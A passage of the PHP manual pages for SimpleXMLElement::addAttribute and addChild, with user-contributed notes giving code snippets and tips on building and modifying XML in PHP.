            }
        }

        if( count($childNames) > 0 )
        {
            foreach( $childNames AS $name => $count )
            {
                if( $count === 1 )
                {
                    $returndata->{$name} = $children[$name][0];
                }
                else
                {
                    $returndata->{$name} = new XMLMultiNode();
                    $counter = 0;
                    foreach( $children[$name] AS $data )
                    {
                        $returndata->{$name}->{$counter} = $data;
                        $counter++;
                    }
                }
            }
        }
        else
        {
            if( (string)$xmldata !== '' )
            {
                $returndata->{'@innerXML'} = (string)$xmldata;
            }
        }
        return $returndata;
    }
?>
ms dot n at 163 dot com 11-Feb-2011 10:50
Adds a new function for SimpleXMLElement class, in order to output HTML code.

<?php
class CeiXML extends SimpleXMLElement{
public function asHTML(){
$ele=dom_import_simplexml($this);
$dom = new DOMDocument('1.0', 'utf-8');
$element=$dom->importNode($ele,true);
$dom->appendChild($element);
return $dom->saveHTML();
}
}
?>
Pavel Musil pavel dot musil at gmail dot com 10-Feb-2011 03:18
Simple recursive function to append XML object into SimpleXMLElement node:

<?php
// root: parent element - SimpleXMLElement instance
// append: XML object from simplexml_load_string

function xml_join($root, $append) {
    if ($append) {
        if (strlen(trim((string) $append))==0) {
            $xml = $root->addChild($append->getName());
            foreach($append->children() as $child) {
                xml_join($xml, $child);
            }
        } else {
            $xml = $root->addChild($append->getName(), (string) $append);
        }
        foreach($append->attributes() as $n => $v) {
            $xml->addAttribute($n, $v);
        }
    }
}

$xml_append = simplexml_load_string('<data><items><item id="1">value</item></items></data>');
$xml_root = new SimpleXMLElement('<result></result>');

$cxml = $xml_root->addChild('clone');
xml_join($cxml, $xml_append->items->item[0]);

print $xml_root->asXML();
?>

Result:
<?xml version="1.0"?>
<result>
    <clone>
        <item id="1">
            value
        </item>
    </clone>
</result>
rmirabelle 08-Nov-2010 09:42
To further previous comments and drive the point home:

What makes SimpleXMLElement tricky to work with is that it feels and behaves like an object, but is actually a system RESOURCE,  (specifically a libxml resource).

That's why you can't store a SimpleXMLElement to $_SESSION or perform straight comparison operations on node values without first casting them to some type of object.  $_SESSION expects to store 'an object' and comparison operators expect to compare 2 'objects' and SimpleXMLElements are not objects.

When you echo or print a node's value, PHP converts the value (a resource) into a string object for you.  It's a time saver for sure, but can fool you into thinking that your SimpleXMLElement is an object.

Hope this helps clarify
joshduck at gmail dot com 28-Sep-2010 05:00
You should cast elements to a float (or even string) if you plan on using them in addition, multiplication, etc. If you don't then PHP will incorrectly treat the node values as an integer.

<?php
$obj = new SimpleXMLElement('<root>
    <a>1.9</a>
    <b>1.9</b>
</root>');

var_dump($obj->a + $obj->b);
var_dump((float)$obj->a + (float)$obj->b);
var_dump((string)$obj->a + (string)$obj->b);
?>

The first line gives: int(2)
The second and third give the expected result: float(3.8)
francs at seznam dot cz 23-Sep-2010 05:28
Be aware when you trying to cast some attribute to boolean.

(boolean)$xml->attributes()->someAtt;

returns TRUE if attribute is array([0] => 0);

use (boolean)(int) instead.
kweij at lsg dot nl 26-Jul-2010 04:47
I'm using SimpleXML for, ofcourse, it's simplicity, however I did wanted to manipulate the xml and combining one SimpleXMLElement with any other, so I wrote this function to add a SimpleXMLElement-child.

<?php
function SimpleXMLElement_append($key, $value) {
    // check class
    if ((get_class($key) == 'SimpleXMLElement') && (get_class($value) == 'SimpleXMLElement')) {
        // check if the value is string value / data
        if (trim((string) $value) == '') {
            // add element and attributes
            $element = $key->addChild($value->getName());
            foreach ($value->attributes() as $attKey => $attValue) {
                $element->addAttribute($attKey, $attValue);
            }
            // add children
            foreach ($value->children() as $child) {
                SimpleXMLElement_append($element, $child);
            }
        } else {
            // set the value of this item
            $element = $key->addChild($value->getName(), trim((string) $value));
        }
    } else {
        // throw an error
        throw new Exception('Wrong type of input parameters, expected SimpleXMLElement');
    }
}
?>

I'd recommend SimpleXMLElement to extend it's addChild() function with the functionalitity above.
cherubangel at gmail dot com 02-Jul-2010 04:28
Note that changing attributes from within a foreach loop, especially namespaced attributes, can be very tricky.

For example, when trying to change the value of an existing xlink:href attribute:
<?php
foreach($xmlelement -> attributes('xlink', true) as $attribute => $attribvalue){
    $attribvalue[0] = 'value'; // Throws an error
    $attribvalue = 'value'; // Does not change your XML
    $xmlelement -> addAttribute($attribute, 'value', 'http://www.w3.org/1999/xlink'); // Adds an attribute, does not change existing one.
    $xmlelement[$attribute] = 'value'; // Adds an attribute, does not change existing one.
}
?>

Instead, you should access the array returned by the attributes() function directly, like this:
<?php
    $xmlelement -> attributes('xlink', true) -> href = 'value'; // Works!
?>
php at keith tyler dot com 19-Feb-2010 06:23
The root node element of your input XML string is not retrievable as a property.

<?php
$xml="<foo>bar</foo>";
$sxe=new SimpleXMLElement($xml);
print $sxe->foo;
?>

prints nothing. You can only get to the root element via the array index method ($sxe[0]).

Also, you may not have two (or more) root elements -- that is apparently not well-formed XML.

<?php
$xml="<foo/><bar/>";
$sxe=new SimpleXMLElement($xml);
?>

throws an exception. A Q&D is to append an arbitraty root node structure to both ends of the input:

<?php
$xml="<foo/><bar/>";
$sxe=new SimpleXMLElement("<z>".$xml."</z>");
?>

Doing this also solves the above problem of root node property accessibility. (It may not work if your XML string includes a declaration.)
triplepoint at gmail dot com 19-Dec-2009 04:19
It's occasionally useful to add an XML processing instruction to a SimpleXMLElement (treating it as if it were a full document).
<?php
class SimpleXMLElement_Plus extends SimpleXMLElement {

    public function addProcessingInstruction( $name, $value )
    {
        // Create a DomElement from this simpleXML object
        $dom_sxe = dom_import_simplexml($this);

        // Create a handle to the owner doc of this xml
        $dom_parent = $dom_sxe->ownerDocument;

        // Find the topmost element of the domDocument
        $xpath = new DOMXPath($dom_parent);
        $first_element = $xpath->evaluate('/*[1]')->item(0);

        // Add the processing instruction before the topmost element
        $pi = $dom_parent->createProcessingInstruction($name, $value);
        $dom_parent->insertBefore($pi, $first_element);
    }
}
?>

For example, if you had a simpleXMLElement_Plus object made out of the xml fragment:
<xml><content /></xml>

And you needed the output to be:
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="xsl/xsl.xsl"?>
<xml><content/></xml>

you could do (using the class above):
<?php
$xml = new SimpleXMLElement_Plus('<xml><content /></xml>');
$xml->addProcessingInstruction('xml-stylesheet', 'type="text/xsl" href="xsl/xsl.xsl"');
echo $xml->asXML();
?>
ivandosreisandrade at gmail dot com 19-Nov-2009 06:55
Hello,

here goes my contribution for those whom are struggling to understand how SimpleXMLElement works.

After some time trying to figure out how this works, I've came up to this small example:

<?php
    $xmlstr = "<?xml version='1.0' ?>\n".
              // optionally you can specify a xml-stylesheet for presenting the results. just uncoment the following line and change the stylesheet name.
              /* "<?xml-stylesheet type='text/xsl' href='xml_style.xsl' ?>\n". */
              "<book></book>";

    // create the SimpleXMLElement object with an empty <book> element
    $xml = new SimpleXMLElement($xmlstr);

    // add some child nodes
    $xml->addChild("title", "Title of my book");
    $xml->addChild("abstract", "My book is about learning to work with SimpleXMLElement");

    // add some more child nodes
    $chapter1 = $xml->addChild("chapter_1");
    // add an attribute to child chapter_1
    $chapter1->addAttribute("chapter_title", "Introduction to my book");

    $chapter2 = $xml->addChild("chapter_2");
    $chapter2->addAttribute("chapter_title", "Development of my book");

    $chapter3 = $xml->addChild("chapter_3");
    $chapter3->addAttribute("chapter_title", "Another chapter of my book");

    $conclusion = $xml->addChild("conclusion", "The ending of my book");

    // insert the header to tell the browser how to read the document
    header("Content-type: text/xml");
    // print the SimpleXMLElement as a XML well-formed string
    echo $xml->asXML();
?>

With this script you can just copy-paste and try to understand how it works.
I hope it can help somebody :)
brett at brettbrewer dot com 27-Oct-2009 04:53
Figuring out how to access the properties of a SimpleXmlElement object was a little tricky for me. In particular, it took a while to discover that I needed to cast my SimpleXmlElement properties to be of type "string" to print them or do comparisons on them. For instance, assuming you already have a string of xml in $xmlstr...

<?php
$sxml= new SimpleXmlElement($xmlstr);

if ((string) $sxml->property== "somevalue") {
    echo (string) $sxml->property;
}
?>
The properties of a SimpleXmlElement object are objects themselves, so you need to put "(string)" before them, which casts their values to a string instead of an object. I assume if you were doing a numeric comparison you'd want to cast to an (int) or something numeric instead.


Adds an attribute to the SimpleXML element

  • ? SimpleXMLElement
  • SimpleXMLElement::addChild ?
  • PHP Manual
  • SimpleXMLElement
  • Adds an attribute to the SimpleXML element

SimpleXMLElement::addAttribute

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

SimpleXMLElement::addAttribute — Adds an attribute to the SimpleXML element

说明

public SimpleXMLElement::addAttribute(string $qualifiedName, string $value, ?string $namespace = null): void

Adds an attribute to the SimpleXML element.

参数

qualifiedName

The name of the attribute to add.

value

The value of the attribute.

namespace

If specified, the namespace to which the attribute belongs.

返回值

没有返回值。

示例

Note:

Listed examples may include example.php, which refers to the XML string found in the first example of the basic usage guide.

Example #1 Add attributes and children to a SimpleXML element

<?php

include 'example.php';

$sxe = new SimpleXMLElement($xmlstr);
$sxe->addAttribute('type', 'documentary');

$movie = $sxe->addChild('movie');
$movie->addChild('title', 'PHP2: More Parser Stories');
$movie->addChild('plot', 'This is all about the people who make it work.');

$characters = $movie->addChild('characters');
$character = $characters->addChild('character');
$character->addChild('name', 'Mr. Parser');
$character->addChild('actor', 'John Doe');

$rating = $movie->addChild('rating', '5');
$rating->addAttribute('type', 'stars');

echo $sxe->asXML();

?>

以上示例的输出类似于：

<?xml version="1.0" standalone="yes"?>
<movies type="documentary">
 <movie>
  <title>PHP: Behind the Parser</title>
  <characters>
   <character>
    <name>Ms. Coder</name>
    <actor>Onlivia Actora</actor>
   </character>
   <character>
    <name>Mr. Coder</name>
    <actor>El Act&#xD3;r</actor>
   </character>
  </characters>
  <plot>
   So, this language. It's like, a programming language. Or is it a
   scripting language? All is revealed in this thrilling horror spoof
   of a documentary.
  </plot>
  <great-lines>
   <line>PHP solves all my web problems</line>
  </great-lines>
  <rating type="thumbs">7</rating>
  <rating type="stars">5</rating>
 </movie>
 <movie>
  <title>PHP2: More Parser Stories</title>
  <plot>This is all about the people who make it work.</plot>
  <characters>
   <character>
    <name>Mr. Parser</name>
    <actor>John Doe</actor>
   </character>
  </characters>
  <rating type="stars">5</rating>
 </movie>
</movies>

参见

  • SimpleXMLElement::addChild() - Adds a child element to the XML node
  • Basic SimpleXML usage

User Contributed Notes

caffeinatedbits 09-Dec-2022 10:50
Just found another gem. Need to remove an attribute? That's simple too!

<?php

$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<Animals>
    <Dog breed="chihuahua"/>
</Animals>
EOF;

$animals = new SimpleXMLElement($xml);

echo $animals->Dog->asXML();
// <Dog breed="chihuahua"/>

unset($animals->Dog['breed']);

echo $animals->Dog->asXML();
// <Dog/>

?>
caffeinatedbits 09-Dec-2022 10:26
I needed a way to update an attribute, but I could not find any documented way to do this.

After much experimentation, here's my findings of what works - the answer was so simple it took me 8 tries to figure it out :-)

Given the following example:

<?php

$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<Animals>
    <Dog/>
</Animals>
EOF;

$animals = new SimpleXMLElement($xml);

echo $animals->Dog->asXML();
// <Dog/>

?>

Test #6 - maybe directly modifying the attributes() Iterator like an array will secretly call __set() magic method?

TL;DR: yep

<?php

...

$animals->Dog->addAttribute('breed', "chihuahua");

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

$dogAttrs = $animals->Dog->attributes();
// object(SimpleXMLElement)#4 (1) {
// ["@attributes"]=>
//   array(1) {
//     ["breed"]=>
//     string(9) "chihuahua"
//   }
// }

$dogAttrs['breed'] = "poodle";
// works!

echo $animals->Dog->asXML();
// <Dog breed="poodle">

?>

Test #7 - maybe I don't even need to call attributes() at all?

TL;DR: I sure don't!

<?php

...

$animals->Dog->addAttribute('breed', "chihuahua");

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

$animals->Dog['breed'] = "poodle";
// works!

echo $animals->Dog->asXML();
// <Dog breed="poodle">

?>

Test #8 - Maybe I never needed to call addAttribute() in the first place?

TL;DR: nope, I can skip that altogether!

<?php

...

$animals->Dog['breed'] = "chihuahua";
// works!

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

$animals->Dog['breed'] = "poodle";
// works!

echo $animals->Dog->asXML();
// <Dog breed="poodle">

?>

FYI: I also submitted another separate note with what does NOT work just in case you, like me, are curious and tempted to try another way.
caffeinatedbits 09-Dec-2022 10:25
I needed a way to update an attribute, but I could not find any documented way to do this.

TL;DR: It's not only possible, but unbelievably simple. See the other note I submitted for what actually works (sorry, I could not fit it all in a single note due to the 4095 character limit).

After much experimentation, here's my findings of what does NOT work; hopefully, it saves you the time and frustration it cost me.

Given the following example:

<?php

$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<Animals>
    <Dog/>
</Animals>
EOF;

$animals = new SimpleXMLElement($xml);

echo $animals->Dog->asXML();
// <Dog/>

?>

Test #1 - attempt to call addAttribute() twice

TL;DR: PHP Warning: SimpleXMLElement::addAttribute(): Attribute already exists

<?php

...

$animals->Dog->addAttribute('breed', "chihuahua");

echo $animals->Dog->asXML();
// <Dog breed="chihuahua"/>

$animals->Dog->addAttribute('breed', "poodle");
// PHP Warning: SimpleXMLElement::addAttribute(): Attribute already exists

echo $animals->Dog->asXML();
// <Dog breed="chihuahua"/>

?>

Test #2 - attempt to iterate attributes() (an Iterator) by reference

TL;DR: An iterator cannot be used with foreach by reference

<?php

...

$animals->Dog->addAttribute('breed', "chihuahua");

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

try {
    foreach ($animals->Dog->attributes() as $attr => &$value) {
        if ("breed" === $attr) {
            $value = "poodle";
        }
    }
} catch (Throwable $e) {
    echo $e->getMessage();
    // An iterator cannot be used with foreach by reference
}

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

?>

Test #3 - attempt to re-parse child element and then call addAttribute() on the newly parsed element, as suggested in a note I found here

TL;DR: PHP Warning: SimpleXMLElement::addAttribute(): Attribute already exists

<?php

...

$animals->Dog->addAttribute('breed', "chihuahua");

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

$animals->Dog = new SimpleXMLElement($animals->asXML());

$animals->Dog->addAttribute('breed', "poodle");
// PHP Warning: SimpleXMLElement::addAttribute(): Attribute already exists

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

?>

Test #4 - attempt to modify @attributes array element

TL;DR: PHP Notice:  Indirect modification of overloaded element of SimpleXMLElement has no effect

<?php

...

$animals->Dog->addAttribute('breed', "chihuahua");

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

$dogAttrs = $animals->Dog->attributes();
// object(SimpleXMLElement)#4 (1) {
// ["@attributes"]=>
//   array(1) {
//     ["breed"]=>
//     string(9) "chihuahua"
//   }
// }

$dogAttrs['@attributes']['breed'] = "poodle";
// PHP Notice:  Indirect modification of overloaded element of SimpleXMLElement has no effect

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

?>

Test #5 - cast attributes() to array and set value of 'breed' element

TL;DR: does not update value in original object

<?php

...

$animals->Dog->addAttribute('breed', "chihuahua");

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

$dogAttrs = (array) $animals->Dog->attributes();
// array(1) {
//     ["@attributes"]=>
//   array(1) {
//         ["breed"]=>
//     string(9) "chihuahua"
//   }
// }

$dogAttrs['@attributes']['breed'] = "poodle";

echo $animals->Dog->asXML();
// <Dog breed="chihuahua">

?>
Patanjali 10-Apr-2016 10:37
You cannot use this to update an existing attribute's value.

Instead, get a DOM version of the SimpleXMLElement and use setAttribute, as per:

$XML = '<element a="aa">Text</element>';
$snode = new simple_xml_element($XML);

$dnode = dom_import_simplexml($snode);
$dnode->setAttribute('a', 'bb');

Resulting XML for the node is:
<element a="bb">Text</element>
p.servus 18-Nov-2011 05:42
If you need an Namespace, you must write a Prefix of the Namespace + the Name of the Attribute ("prefix:name") as the first parameter AND the uri as the third one. (I don't know why?!)

Example code:
<?php
$xml = new SimpleXMLElement("<packagedElement></packagedElement>");
$xml->addAttribute("xmi:type", "uml:Class", "http://schema.omg.org/spec/XMI/2.1");
echo $xml->asXml();
?>

Output:
<packagedElement xmlns:xmi="http://schema.omg.org/spec/XMI/2.1" xmi:type="uml:Class"></packagedElement>
sarlak 07-May-2011 07:49
You can access a node child with his name this way :

<?php
$root = new SimpleXMLElement($filePath);
echo $root->nodeName->attributes;

// It works recursivly so this will work too
echo $root->nodeName->subNodeName->attributes();
?>

But if you want to ADD an attribute to a children you MUST use the children() method to access and modfiy it or it will modify the parent's attributes.

<?php
// Add a subnode
$element->nodeName->addChild('subNodeName', "whatever you want");

// Get the pos in the childrens of the parent node
$lastNodePos = $element->nodeName->count()-1;

// Get the parents node childrens
$nodeChildrens = $element->nodeName->children();

// Add an attribute to the last created
$nodeChildrens[$lastNodePos]->addAttribute('attributeName', "The attribute value);
?>
booleer at yahoo dot it 16-Dec-2010 09:44
If the attribute already exists, addAttribute does nothing.

example:
<?php
$xml_string = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<root>
   <item id="foo">
<root>
XML;

$xml = simplexml_load_string($xml_string);
$xml->item->addAttribute('id', 'bar');
echo $xml->asXML();
?>

The above examples will output:
<?xml version="1.0" encoding="UTF-8"?>
<root>
   <item id="foo">
<root>


Adds a child element to the XML node

  • ? SimpleXMLElement::addAttribute
  • SimpleXMLElement::asXML ?
  • PHP Manual
  • SimpleXMLElement
  • Adds a child element to the XML node

SimpleXMLElement::addChild

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

SimpleXMLElement::addChild — Adds a child element to the XML node

说明

public SimpleXMLElement::addChild(string $qualifiedName, ?string $value = null, ?string $namespace = null): ?SimpleXMLElement

Adds a child element to the node and returns a SimpleXMLElement of the child.

参数

qualifiedName

The name of the child element to add.

value

If specified, the value of the child element.

namespace

If specified, the namespace to which the child element belongs.

返回值

The addChild method returns a SimpleXMLElement object representing the child added to the XML node on success; null on failure.

示例

Note:

Listed examples may include example.php, which refers to the XML string found in the first example of the basic usage guide.

Example #1 Add attributes and children to a SimpleXML element

<?php

include 'example.php';

$sxe = new SimpleXMLElement($xmlstr);
$sxe->addAttribute('type', 'documentary');

$movie = $sxe->addChild('movie');
$movie->addChild('title', 'PHP2: More Parser Stories');
$movie->addChild('plot', 'This is all about the people who make it work.');

$characters = $movie->addChild('characters');
$character = $characters->addChild('character');
$character->addChild('name', 'Mr. Parser');
$character->addChild('actor', 'John Doe');

$rating = $movie->addChild('rating', '5');
$rating->addAttribute('type', 'stars');

echo $sxe->asXML();

?>

以上示例的输出类似于：

<?xml version="1.0" standalone="yes"?>
<movies type="documentary">
 <movie>
  <title>PHP: Behind the Parser</title>
  <characters>
   <character>
    <name>Ms. Coder</name>
    <actor>Onlivia Actora</actor>
   </character>
   <character>
    <name>Mr. Coder</name>
    <actor>El Act&#xD3;r</actor>
   </character>
  </characters>
  <plot>
   So, this language. It's like, a programming language. Or is it a
   scripting language? All is revealed in this thrilling horror spoof
   of a documentary.
  </plot>
  <great-lines>
   <line>PHP solves all my web problems</line>
  </great-lines>
  <rating type="thumbs">7</rating>
  <rating type="stars">5</rating>
 </movie>
 <movie>
  <title>PHP2: More Parser Stories</title>
  <plot>This is all about the people who make it work.</plot>
  <characters>
   <character>
    <name>Mr. Parser</name>
    <actor>John Doe</actor>
   </character>
  </characters>
  <rating type="stars">5</rating>
 </movie>
</movies>

参见

  • SimpleXMLElement::addAttribute() - Adds an attribute to the SimpleXML element
  • Basic SimpleXML usage

User Contributed Notes

fluxlicious at gmail dot com 23-Jan-2023 11:18
The class below allows you to write CDATA and to add additional attributes.

<?php
class SimpleXMLElementExtended extends \SimpleXMLElement
{
    public function addChildWithCData($name, $value)
    {
        $child = parent::addChild($name);
        $element = dom_import_simplexml($child);
        $docOwner = $element->ownerDocument;
        $element->appendChild($docOwner->createCDATASection($value));
        return $child;
    }
}
?>

Example:
<?php
        $xml = new SimpleXMLElementExtended('<xml></xml>');
        $content = $xml->addChildWithCData('content', 'Title of the page');
        $content->addAttribute('id', 1);
        $content->addAttribute('enabled', 'true');

        // Output:
        // <xml>
        //   <content id="1" enabled="true"><![CDATA[Title of the page]]></content>
        // </xml>
?>
caffeinatedbits 09-Dec-2022 11:31
Just in case anyone else, like me, was trying to figure out a way to remove child elements...

<?php

$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<Animals>
    <Dog breed="chihuahua"/>
    <Dog breed="poodle"/>
    <Dog breed="invalid"/>
</Animals>
EOF;

$animals = new SimpleXMLElement($xml);

unset($animals->Dog[2]);

echo $animals->asXML();

// <?xml version="1.0" encoding="utf-8"?>
// <Animals>
//         <Dog breed="chihuahua"/>
//         <Dog breed="poodle"/>
//
// </Animals>

?>

Note: you cannot remove elements while iterating children, otherwise it will break the Iterator. Example:

<?php

$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<Animals>
    <Dog breed="chihuahua"/>
    <Dog breed="poodle"/>
    <Dog breed="invalid"/>
</Animals>
EOF;

$animals = new SimpleXMLElement($xml);

$allowed_breeds = [
    'chihuahua',
    'poodle'
];

try {
    $index = 0;
    foreach ($animals->Dog as $dog) {
        if (!in_array($dog['breed'], $allowed_breeds)) {
            unset($animals->Dog[$index]);
        }
        $index++;
    }
} catch (Throwable $e) {
    echo $e->getMessage();
    // SimpleXMLElement is not properly initialized
}

?>
carlos dot eduardo dot debiasi at gmail dot com 22-Apr-2021 01:23
I create this function so you can through and array build the XML, this allows multiple keys with the same value.
The structure must follow

[
    'key' => 'nameOfTheKey',
    'attributes' => ['id' => '1'],
    'fields' => [
        ['key' => 'fieldSamName', 'value' => '1'],
        ['key' => 'fieldSamName', 'value' => '1'],
        ['key' => 'fieldSamName', 'value' => '2'],
        ['key' => 'fieldWithChild', 'fields' => [
            ['key' => 'car', 'value' => '2'],
            ['key' => 'human', 'value' => '3'],
        ]],
    ]
];

Function:
 function toXml(\SimpleXMLElement $node, array $data)
    {
        foreach ($data as $key => $value) {
            $key = $value['key'];
            if (isset($value['value'])) {
                    $newNode = $node->addChild($key, $value['value']);
                if (isset($value['attributes'])) {
                    foreach ($value['attributes'] as $keyAttr => $valueAttr) {
                        $newNode->addAttribute($keyAttr, $valueAttr);
                    }
                }
            } else {
                $newNode = $node->addChild($key);
                if (isset($value['attributes'])) {
                    foreach ($value['attributes'] as $keyAttr => $valueAttr) {
                        $newNode->addAttribute($keyAttr, $valueAttr);
                    }
                }
            }
            if (isset($value['fields'])) {
                foreach ($value['fields'] as $keyField => $valueField) {
                    $this->toXml($newNode, [$keyField => $valueField]);
                }
            }
        }
    }
nwarap 07-Nov-2017 02:46
Want to continue the ampersand (&) chain problem.

Sometimes, you would want to assign  (=) addChild.
This trick will helps you to do this.

<?php
$webOrders = new SimpleXMLElement('<?xml version="1.0"?><WebOrders></WebOrders>');
$webOrder = $webOrders->addChild('WebOrder');
$product = $webOrder->addChild('Product');
$product[0] = 'T&M';
$product->addAttribute('price', 19.99);
$product->addAttribute('qty', 2);
var_dump($webOrders->asXML());
?>

OUTPUT would be:

<?xml version="1.0" encoding="UTF-8"?>
<WebOrders>
    <WebOrder>
        <Product price="19.99" qty="2">T&amp;M</Product>
    </WebOrder>
</WebOrders>
johninen at gmail dot com 14-Sep-2015 01:27
In the docs for google sitemaps it is required an element for mobile sitemaps that looks like this: <mobile:mobile/>

I used some time to figure out how to make it, but it is quite simple when understood.

$mobile_schema = 'http://www.google.com/schemas/sitemap-mobile/1.0';

//Create root element
$xml_mobile = new SimpleXMLElement('
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:mobile="'.$mobile_schema.'"></urlset>
');

//Add required children
$url_mobile = $xml_b_list_mobile->addChild('url');
$url_mobile->addChild('loc', 'your-mobile-site-url');
$url_mobile->addChild('mobile:mobile', null, $mobile_schema);

For this to work properly the attribute xmlns:mobile must be set in the root node, and then used as namespace(third argument) when creating the mobile:mobile child with null as value.
thallisphp at gmail dot com 07-May-2014 07:35
<?php
class MySimpleXMLElement extends SimpleXMLElement
{
    /**
     * Add SimpleXMLElement code into a SimpleXMLElement
     *
     * @param SimpleXMLElement $append
     */
    public function appendXML($append)
    {
        if ($append) {
            if (strlen(trim((string)$append)) == 0) {
                $xml = $this->addChild($append->getName());
            } else {
                $xml = $this->addChild($append->getName(), (string)$append);
            }

            foreach ($append->children() as $child) {
                $xml->appendXML($child);
            }

            foreach ($append->attributes() as $n => $v) {
                $xml->addAttribute($n, $v);
            }
        }
    }
}
?>
frosty dot z at freesbee dot fr 16-May-2013 02:31
To complete Volker Grabsch's comment, stating :
"Note that although addChild() escapes "<" and ">", it does not escape the ampersand "&"."

To work around that problem, you can use direct property assignment such as :

<?php
$xmlelement->value = 'my value < > &';
// results in <value>my value &lt; &gt; &amp;</value>
?>

instead of doing :

<?php
$xmlelement->addChild('value', 'my value < > &');
// results in <value>my value &lt; &gt; &</value> (invalid XML)
?>

See also: http://stackoverflow.com/questions/552957 (Rationale behind SimpleXMLElement's handling of text values in addChild and addAttribute)

HTH
passerbyxp at gmail dot com 27-Mar-2013 03:59
Be aware that simply because you can <?php $dom->addChild();?> doesn't mean your XML is valid under simple XML itself:

<?php
$dom=simplexml_load_string("<test></test>");
$dom->addChild("3D","1,2,3");
$xml=$dom->asXML();
echo $xml;
/* echos:
<?xml version="1.0"?>
<test><3D>1,2,3</3D></test>
*/

$dom=simplexml_load_string($xml);
/*
generates a whole lots of warnings,
and refuses to create an object.
*/
?>

Same in PHP 5.3 and 5.4
ivan dot kakurov at gmail dot com 13-Jan-2013 04:09
Here's my solution for creating XML from Multidimensional Array.
<?php
//DATA
        $xmlDAta = array(
            array(
                "name"  => "nameVal",
                "value" => "valVal",
                "css"   => "cssVal"
            ),
            array(
                "name"  => "name1Val",
                "value" => "val1Val",
                "css"   => "css1Val"
            ),
            "tname" => array(
                array(
                    "iTname"   => "iTname",
                    "iTname2"  => "iTname1",
                    "iTname2"  => "iTname2",
                    "iTbname3" => array(
                        "iiTbname"  => "tbName",
                        "iiTbname1" => "tbName1",
                    ),
                ),
            ),
            "tdata" => "otheerDAta"
        );

   /**
     * Create XML using string or array
     *
     * @param mixed $data input data
     * @param SimpleXMLElement $xml
     * @param string $child name of first level child
     *
     * @return adding Xml formated data into SimpleXmlElement
     */

function data2XML(array $data, SimpleXMLElement $xml, $child = "items")
    {

        foreach($data as $key => $val) {
            if(is_array($val)) {

                if(is_numeric($key)) {
                    $node  = $xml->addChild($child);
                    $nodes = $node->getName($child);
                } else {

                    $node  = $xml->addChild($key);
                    $nodes = $node->getName($key);
                }

                $node->addChild($nodes, self::data2Xml($val, $node));
            } else {
                $xml->addChild($key, $val);
            }
        }

    }

//Use

        $xml    = new SimpleXMLElement("<root/>");
        Util::data2XML($xmlDAta, $xml, "Items");

?>
jerikojerk 31-Jul-2011 07:32
If you're looking for a way to append children you may be interested in this:

<?php
$x = new SimpleXMLElement('<root name="toplevel"></root>');
$f1 = new SimpleXMLElement('<child pos="1">alpha</child>');
$f2 = new SimpleXMLElement('<child pos="2">beta</child>');
$f3 = new SimpleXMLElement('<child pos="3">gamma</child>');

$x->{$f1->getName()} = $f1;
$x->{$f2->getName()}[] = $f2;
$x->{$f3->getName()}[] = $f3;

echo 'count child=',$x->count(),"\n";
echo $x->asXML();

foreach ( $x->children() as $foo )
{
    var_dump($foo);
}

?>
alex dot feraud at gmail dot com 16-Jun-2011 02:52
Here is a class with more functions for SimpleXMLElement :

<?php
/**
 *
 * Extension for SimpleXMLElement
 * @author Alexandre FERAUD
 *
 */
class ExSimpleXMLElement extends SimpleXMLElement
{
    /**
     * Add CDATA text in a node
     * @param string $cdata_text The CDATA value  to add
     */
  private function addCData($cdata_text)
  {
   $node= dom_import_simplexml($this);
   $no = $node->ownerDocument;
   $node->appendChild($no->createCDATASection($cdata_text));
  }

  /**
   * Create a child with CDATA value
   * @param string $name The name of the child element to add.
   * @param string $cdata_text The CDATA value of the child element.
   */
    public function addChildCData($name,$cdata_text)
    {
        $child = $this->addChild($name);
        $child->addCData($cdata_text);
    }

    /**
     * Add SimpleXMLElement code into a SimpleXMLElement
     * @param SimpleXMLElement $append
     */
    public function appendXML($append)
    {
        if ($append) {
            if (strlen(trim((string) $append))==0) {
                $xml = $this->addChild($append->getName());
                foreach($append->children() as $child) {
                    $xml->appendXML($child);
                }
            } else {
                $xml = $this->addChild($append->getName(), (string) $append);
            }
            foreach($append->attributes() as $n => $v) {
                $xml->addAttribute($n, $v);
            }
        }
    }
}
?>
Volker Grabsch 21-Apr-2011 06:17
Note that although addChild() escapes "<" and ">", it does not escape the ampersand "&".

So addChild() is unsuited to handle user-defined input!

Instead, you will have to replace all "&" with "&amp;" before calling addChild().

Or, use htmlspecialchars() which also replaces other characters, but won't do any harm as addChild() won't replace those again.
felipenmoura at gmail dot com 11-Apr-2011 06:06
This method returns a reference to the specific SimpleXMLElement.
If you use:
<?php
    $xml= new SimpleXMLElement('<root></root>');
    $xml->father['name']= 'Fathers name'; // creates automatically a father tag with attribute name
    $son= $xml->father->addChild('son'); // uses the first father tag
    $son['name']= 'first son';
    $otherSon= $xml->father->addChild('son'); // uses the first father tag but now, in a second son tag
    $otherSon['name']= 'second son';

    echo htmlentities($xml->asXML());
?>

The result will be
<root>
    <father>
        <son name='first son' />
        <son name='second son' />
    </father>
</root>

So, once you change something to the just added child, you are actually accessing the element inside the SimpleXMLElement as a reference.


Return a well-formed XML string based on SimpleXML element

  • ? SimpleXMLElement::addChild
  • SimpleXMLElement::attributes ?
  • PHP Manual
  • SimpleXMLElement
  • Return a well-formed XML string based on SimpleXML element

SimpleXMLElement::asXML

(PHP 5, PHP 7, PHP 8)

SimpleXMLElement::asXML — Return a well-formed XML string based on SimpleXML element

说明

public SimpleXMLElement::asXML(?string $filename = null): string|bool

